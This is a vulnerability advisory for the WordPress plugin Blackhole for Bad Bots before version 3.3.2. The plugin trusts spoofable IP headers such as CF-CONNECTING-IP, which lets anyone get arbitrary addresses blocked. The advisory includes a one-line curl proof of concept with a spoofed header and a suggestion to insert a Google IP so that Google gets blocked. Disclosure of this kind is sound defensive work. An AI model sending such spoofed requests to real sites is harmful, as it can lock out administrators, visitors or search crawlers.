WordPress Plugin Vulnerabilities

Blackhole for Bad Bots < 3.3.2 - Arbitrary IP Address Blocking via IP Spoofing

Description

The plugin uses headers such as CF-CONNECTING-IP, CLIENT-IP etc to determine the IP address of requests hitting the blackhole URL, which allows them to be spoofed. This could result in blocking arbitrary IP addresses, such as legitimate/good search engine crawlers / bots. This could also be abused by competitors to cause damage related to visibility in search engines, can be used to bypass arbitrary blocks caused by this plugin, block any visitor or even the administrator and even more.

Proof of Concept

curl -H 'CF-CONNECTING-IP: 128.0.0.1' https://example.com/?blackhole=....

Replace 128.0.0.1 with any valid Google IP address to get Google blocked.

Affects Plugins

Fixed in 3.3.2

References

Miscellaneous

Original Researcher
Daniel Ruf
Submitter
Daniel Ruf
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-01-31 (about 2 years ago)
Added
2022-01-31 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)

Other